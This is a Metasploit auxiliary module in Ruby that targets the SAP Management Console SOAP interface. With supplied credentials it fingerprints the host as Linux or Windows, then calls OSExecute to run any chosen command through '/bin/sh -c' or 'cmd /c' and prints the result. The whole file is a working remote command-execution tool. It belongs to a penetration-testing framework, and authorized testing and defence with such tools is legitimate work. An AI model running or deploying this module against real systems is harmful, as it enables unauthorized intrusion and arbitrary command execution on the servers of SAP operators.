##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'         => 'SAP Management Console OSExecute',
      'Description'  => %q{
        This module allows execution of operating system commands through the SAP
        Management Console SOAP Interface. A valid username and password must be
        provided.
        },
      'References'   =>
        [
          # General
          [ 'URL', 'http://blog.c22.cc' ]
        ],
      'Author'       => [ 'Chris John Riley' ],
      'License'      => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(50013),
        OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
        OptString.new('HttpUsername', [true, 'Username to use', '']),
        OptString.new('HttpPassword', [true, 'Password to use', '']),
        OptString.new('CMD', [true, 'Command to run', 'set']),
      ])
    register_autofilter_ports([ 50013 ])
  end

  def run_host(ip)
    # Check version information to confirm Win/Lin

    soapenv='http://schemas.xmlsoap.org/soap/envelope/'
    xsi='http://www.w3.org/2001/XMLSchema-instance'
    xs='http://www.w3.org/2001/XMLSchema'
    sapsess='http://www.sap.com/webas/630/soap/features/session/'
    ns1='ns1:GetVersionInfo' # Using GetVersionInfo to enumerate target type

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' +	 soapenv
    data << '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
    data << '<SOAP-ENV:Header>' + "\r\n"
    data << '<sapsess:Session xlmns:sapsess="' +  sapsess + '">' + "\r\n"
    data << '<enableSession>true</enableSession>' + "\r\n"
    data << '</sapsess:Session>' + "\r\n"
    data << '</SOAP-ENV:Header>' + "\r\n"
    data << '<SOAP-ENV:Body>' + "\r\n"
    data << '<'+ ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 +'>' + "\r\n"
    data << '</SOAP-ENV:Body>' + "\r\n"
    data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

    print_status("[SAP] Attempting to enumerate remote host type")

    begin
      res = send_request_raw({
        'uri'     => normalize_uri(datastore['URI']),
        'method'  => 'POST',
        'data'    => data,
        'headers' =>
          {
            'Content-Length'  => data.length,
            'SOAPAction'      => '""',
            'Content-Type'    => 'text/xml; charset=UTF-8',
          }
      }, 60)

    rescue ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} [SAP] Unable to communicate")
      return :abort
    end

    if not res
      print_error("#{rhost}:#{rport} [SAP] Unable to connect")
      return
    elsif res.code == 200
      body = res.body
      if body.match(/linux/i)
        print_status("[SAP] Linux target detected")
        cmd_to_run = '/bin/sh -c ' + datastore['CMD']
      elsif body.match(/NT/)
        print_status("[SAP] Windows target detected")
        cmd_to_run = 'cmd /c ' + datastore['CMD']
      else
        print_status("[SAP] Unknown target detected, defaulting to *nix syntax")
        cmd_to_run = '/bin/sh -c ' + datastore['CMD']
      end
    end

    osexecute(ip, cmd_to_run)
  end

  def osexecute(rhost, cmd_to_run)

    print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
    success = false

    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
    xsi = 'http://www.w3.org/2001/XMLSchema-instance'
    xs = 'http://www.w3.org/2001/XMLSchema'
    sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
    ns1 = 'ns1:OSExecute'

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi
    data << '" xmlns:xs="' + xs + '">' + "\r\n"
    data << '<SOAP-ENV:Header>' + "\r\n"
    data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
    data << '<enableSession>true</enableSession>' + "\r\n"
    data << '</sapsess:Session>' + "\r\n"
    data << '</SOAP-ENV:Header>' + "\r\n"
    data << '<SOAP-ENV:Body>' + "\r\n"
    data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>' + cmd_to_run
    data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
    data << '</SOAP-ENV:Body>' + "\r\n"
    data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

    user_pass = Rex::Text.encode_base64(datastore['HttpUsername'] + ":" + datastore['HttpPassword'])

    begin
      res = send_request_raw({
        'uri'     => normalize_uri(datastore['URI']),
        'method'  => 'POST',
        'data'    => data,
        'headers' =>
          {
            'Content-Length'  => data.length,
            'SOAPAction'      => '""',
            'Authorization'   => 'Basic ' + user_pass,
            'Content-Type'    => 'text/xml; charset=UTF-8',
          }
      }, 60)

      if res and res.code == 200
        success = true
        body = CGI::unescapeHTML(res.body)
        if body.match(/<exitcode>(.*)<\/exitcode>/i)
          exitcode = $1.to_i
        end
        if body.match(/<pid>(.*)<\/pid>/i)
          pid = $1.strip
        end
        if body.match(/<lines>(.*)<\/lines>/i)
          items = body.scan(/<item>(.*?)<\/item>/i)
        end
      elsif res and res.code == 500
        case res.body
        when /<faultstring>(.*)<\/faultstring>/i
          faultcode = "#{$1}"
          fault = true
        end
      else
        print_error("#{rhost}:#{rport} [SAP] Unknown response received")
        return
      end

    rescue ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication")
      return :abort
    end

    if success
      if exitcode > 0
        print_error("#{rhost}:#{rport} [SAP] Command exitcode: #{exitcode}")
      else
        print_good("#{rhost}:#{rport} [SAP] Command exitcode: #{exitcode}")
      end

      saptbl = Msf::Ui::Console::Table.new(
        Msf::Ui::Console::Table::Style::Default,
          'Header'  => '[SAP] OSExecute',
          'Prefix'  => "\n",
          'Columns' => [ 'Command output' ]
        )

      items.each do |output|
        saptbl << [ output[0] ]
      end

      print_good("#{rhost}:#{rport} [SAP] Command (#{cmd_to_run}) ran as PID: #{pid}\n#{saptbl.to_s}")

    elsif fault
      print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
      return
    else
      print_error("#{rhost}:#{rport} [SAP] failed to run command")
      return
    end
  end
end
